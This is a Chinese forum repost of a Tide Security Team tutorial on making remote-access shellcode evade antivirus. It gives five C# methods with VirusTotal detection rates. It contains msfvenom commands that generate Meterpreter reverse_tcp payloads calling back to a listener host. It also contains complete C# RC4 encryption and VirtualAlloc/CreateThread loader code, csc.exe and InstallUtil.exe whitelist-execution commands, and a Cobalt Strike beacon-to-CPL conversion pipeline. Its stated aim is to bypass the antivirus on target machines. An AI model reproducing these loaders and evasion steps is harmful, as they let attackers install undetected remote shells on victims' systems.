安全矩阵

 找回密码
 立即注册
搜索
查看: 3496|回复: 0

远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70)

[复制链接]

2

主题

2

帖子

26

积分

新手上路

Rank: 1

积分
26
发表于 2020-3-8 10:50:04 | 显示全部楼层 |阅读模式
本帖最后由 Esther 于 2020-3-8 18:54 编辑

远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70)


本文转载自微信公众号Tide安全团队

本文目录:
免杀能力一览表
一、C#加载shellcode免杀介绍
二、C#源码直接编译exe
2.1 方法1:C#+shellcode直接编译(VT免杀率20/71)
2.2 方法2:C#+加密处理shellcode免杀(VT免杀率8/70)
2.3 方法3:XOR/AES编码shellcode(VT免杀率14/71)
三、加载器加载C#代码
3.1 法4:使用CSC+InstallUtil执行shellcode(VT免杀率33/71)
3.2 法5:从资源里加载shelllcode
四、参考资料


文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus

免杀能力一览表

几点说明:

1、表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理,静态查杀payload或者查杀白名单程序都没有任何意义,所以这里对白名单程序的免杀效果不做评判。

一、C#加载shellcode免杀介绍

使用C#加载shellcode也是比较常见的一种免杀方式,比如之前文章里的zirikatu、veil、AVIator、SpookFlare等工具都可以对C#代码进行免杀处理,而SharpShooter和CACTUSTORCH还可以使用vbs或js执行C#的二进制payload。

这里我们介绍一下基于C#的常见手工免杀方法,C#加载shellcode也和C/C++加载类似,可以分两种方式。

1、C#源码+shellcode直接编译,且shellcode可进行一些加密混淆处理;

2、使用加载器加载C#代码,这个就是网上常见的白名单程序加载了,比如可以利用csc.exe。
二、C#源码直接编译exe
2.1 方法1:C#+shellcode直接编译(VT免杀率20/71)

先用msfvenom生成基于C#的shellcode,使用了shikata_ga_nai编码

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2  LPORT=3333 -e x86/shikata_ga_nai  -i 15  -f csharp -o payload.txt
复制代码

在vs2017中新建C#加密项目


然后将payload.txt文件中的shellcode代码复制到下面C#代码中

  1. using System;
复制代码

编译运行,火绒和360都可以免杀


可正常上线


virustotal.com中20/71个报毒

2.2 方法2:C#+加密处理shellcode免杀(VT免杀率8/70)

先用msf生成基于c#的shellcode

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2  LPORT=3333 -f csharp -o payload.txt
复制代码

在vs2017中新建C#加密项目


把上面payload.txt中的c#代码放入下面的加密代码中

加密代码

  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Linq;
  5. using System.Security.Cryptography;
  6. using System.Text;
  7. using System.Threading.Tasks;
  8. using System.Reflection;
  9. using System.Runtime.CompilerServices;
  10. using System.Runtime.InteropServices;


  11. namespace Payload_Encrypt_Maker
  12. { class Program
  13.     {  
  14.          // 加密密钥,可以更改,加解密源码中保持KEY一致就行
  15.         static byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
  16.         static byte[] IV = { 0x00, 0xcc, 0x00, 0x00, 0x00, 0xcc };
  17.         static byte[] payload ={0x6b,0xa9};    // 替换成MSF生成的shellcode
  18.       
  19.         private static class Encryption_Class
  20.         {
  21.             public static string Encrypt(string key, string data)
  22.             {
  23.                 Encoding unicode = Encoding.Unicode;

  24.                 return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));
  25.             }

  26.             

  27.             public static byte[] Encrypt(byte[] key, byte[] data)
  28.             {
  29.                 return EncryptOutput(key, data).ToArray();
  30.             }

  31.            

  32.             private static byte[] EncryptInitalize(byte[] key)
  33.             {
  34.                 byte[] s = Enumerable.Range(0, 256)
  35.                   .Select(i => (byte)i)
  36.                   .ToArray();

  37.                 for (int i = 0, j = 0; i < 256; i++)
  38.                 {
  39.                     j = (j + key[i % key.Length] + s[i]) & 255;

  40.                     Swap(s, i, j);
  41.                 }

  42.                 return s;
  43.             }

  44.             private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
  45.             {
  46.                 byte[] s = EncryptInitalize(key);

  47.                 int i = 0;
  48.                 int j = 0;

  49.                 return data.Select((b) =>
  50.                 {
  51.                     i = (i + 1) & 255;
  52.                     j = (j + s[i]) & 255;

  53.                     Swap(s, i, j);

  54.                     return (byte)(b ^ s[(s[i] + s[j]) & 255]);
  55.                 });
  56.             }

  57.             private static void Swap(byte[] s, int i, int j)
  58.             {
  59.                 byte c = s[i];

  60.                 s[i] = s[j];
  61.                 s[j] = c;
  62.             }
  63.         }
  64.         static void Main(string[] args)
  65.         {
  66.             byte[] result = Encryption_Class.Encrypt(KEY, payload);
  67.             int b = 0;
  68.             for (int i = 0; i < result.Length; i++)
  69.             {   b++;
  70.                 if (i == result.Length+1)
  71.                 {Console.Write(result[i].ToString());}
  72.                 if (i != result.Length) { Console.Write(result[i].ToString() + ","); }
  73.             }
  74.         }
  75.     }
  76. }
复制代码

编译生成一段加密后的shellcode


在vs2017中再新建C#解密项目

解密及执行代码

  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Runtime.InteropServices;
  6. using System.Threading;
  7. using System.Reflection;
  8. using System.Runtime.CompilerServices;


  9. namespace NativePayload_Reverse_tcp
  10. {
  11.     public class Program
  12.     {
  13.         public static void Main()
  14.         {
  15.             Shellcode.Exec();
  16.         }

  17.     }

  18.     class Shellcode
  19.     {
  20.         public static void Exec()
  21.         {
  22.             string Payload_Encrypted;
  23.             Payload_Encrypted = "0,244,36,163,code_herer";
  24.             string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(',');
  25.             byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];
  26.             for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++)
  27.             {
  28.                 byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());
  29.                 _X_to_Bytes[i] = current;
  30.             }
  31.             // 解密密钥,可以更改,加解密源码中保持KEY一致就行
  32.             byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
  33.             byte[] MsfPayload = Decrypt(KEY, _X_to_Bytes);
  34.             // 加载shellcode
  35.             IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
  36.             Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
  37.             CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
  38.             Thread.Sleep(2000);
  39.         }

  40.         public static byte[] Decrypt(byte[] key, byte[] data)
  41.         {
  42.             return EncryptOutput(key, data).ToArray();
  43.         }
  44.         private static byte[] EncryptInitalize(byte[] key)
  45.         {
  46.             byte[] s = Enumerable.Range(0, 256)
  47.               .Select(i => (byte)i)
  48.               .ToArray();

  49.             for (int i = 0, j = 0; i < 256; i++)
  50.             {
  51.                 j = (j + key[i % key.Length] + s[i]) & 255;
  52.                 Swap(s, i, j);
  53.             }

  54.             return s;
  55.         }
  56.         private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
  57.         {
  58.             byte[] s = EncryptInitalize(key);

  59.             int i = 0;
  60.             int j = 0;

  61.             return data.Select((b) =>
  62.             {
  63.                 i = (i + 1) & 255;
  64.                 j = (j + s[i]) & 255;

  65.                 Swap(s, i, j);

  66.                 return (byte)(b ^ s[(s[i] + s[j]) & 255]);
  67.             });
  68.         }
  69.         private static void Swap(byte[] s, int i, int j)
  70.         {
  71.             byte c = s[i];

  72.             s[i] = s[j];
  73.             s[j] = c;
  74.         }
  75.         [DllImport("kernel32.dll")]
  76.         public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  77.         [DllImport("kernel32.dll")]
  78.         public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  79.     }
  80. }
复制代码

编译或执行时如果报错,可以查看下面的两个项目属性是否设置有问题


执行生成的ConsoleApp2.exe,可过360和火绒


virustotal.com中8/70个报毒

2.3 方法3:XOR/AES编码shellcode(VT免杀率14/71)

这个和专题27中介绍的C++的XOR编码方式一样。

需要使用一个工具https://github.com/Arno0x/ShellcodeWrapper

先用msfvenom生成一个raw格式的shellcode

  1. msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333  -f raw > shellcode.raw
复制代码

ShellcodeWrapper文件夹中执行下面命令,其中tidesec为自己设置的key。

  1. python shellcode_encoder.py -cpp -cs -py shellcode.raw tidesec xor
复制代码


生成了三个文件,其中C#为我们需要的文件。

其中encryptedShellcodeWrapper_xor.cpp文件中的C#源码如下

  1. <blockquote>/*
复制代码

在vs2017中新建C#项目,编译运行,火绒和360均可绕过。


msf中正常上线


virustotal.com中14/71个报毒



三、加载器加载C#代码

加载器用的比较多的是CSC.exe+InstallUtil.exe加载shellcode,流程为:msf生成C#格式shellcode -> 加密shellcode -> 解密并加载shellcode -> csc.exe编译成.jpg文件 -> InstallUtil.exe白名单执行。之前backlion师傅和亮神都介绍过这种方法。
3.1 法4:使用CSC+InstallUtil执行shellcode(VT免杀率33/71)

先通过msfvenom生成C#的shellcode

  1. msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333 -f csharp
复制代码


下载InstallUtil-Shellcode.cs

wget https://raw.githubusercontent.co ... llUtil-Shellcode.cs

将上面生成的shellcode复制到InstallUtil-Shellcode.cs文件中。

使用csc编译InstallUtil-ShellCode.cs

  1. C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:C:\test\shell.exe C:\test\InstallUtil-ShellCode.cs
复制代码

编译生成的shell.exe直接执行是不行的,需要使用InstallUtil.exe来触发。

使用InstallUtil.exe执行shell.exe,360安全卫士会检测到InstallUtil.exe执行预警,360杀毒和火绒动态和静态均无预警。

  1. C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U C:\test\shell.exe
复制代码


msf中可上线



virustotal.com中shell.exe文件33/71个报病毒,这个有点出乎意料。



3.2 法5:从资源里加载shelllcode

这里只介绍另外一种从资源里加载shelllcode的方法,不过很遗憾的是这个我没有复现成功。

参考自三好学生大佬的文章:https://wooyun.js.org/drops/CPL%E6%96%87%E4%BB%B6%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D.html

需要用到这个工具https://github.com/rvrsh3ll/CPLResourceRunner

先用Cobalt Strike 生成shellcode

Attacks -> Packages -> Windows Executable (s) -> Output => RAW (x86)



然后用ConvertShellcode.py将生成的beacon.bin转换成shellcode.txt

  1. python ConvertShellcode.py beacon.bin
复制代码

然后再转换成base64编码。

  1. cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt
复制代码


把生成的base64编码的shellcode复制到项目资源CPLResourceRunner/Resources.txt里。

编译生成dll,并将生成的CPLResourceRunner.dll重命名为.cpl文件,之后执行即可。



不过经过测试,无法上线,没找出来具体原因。

后来用msf生成raw格式的shellcode,也用CPLResourceRunner进行处理,不过还是没法上线。

后来又测试了一下使用msf直接生成cpl文件,倒可以执行上线,使用rundll32.exe来执行。

  1. msfvenom -p  windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333  -f dll  > shellcode.cpl
复制代码


四、参考资料

shellcode加载总结:https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html

记一则免杀技巧:https://www.jianshu.com/p/965211afc5f9

那些shellcode免杀总结:https://xz.aliyun.com/t/7170

免杀技巧:https://blog.moofeng.cn/2019/04/18/%E8%AE%B0%E4%B8%80%E5%88%99%E5%85%8D%E6%9D%80%E6%8A%80%E5%B7%A7/index.html




E  N  D








本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:47 , Processed in 0.014565 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表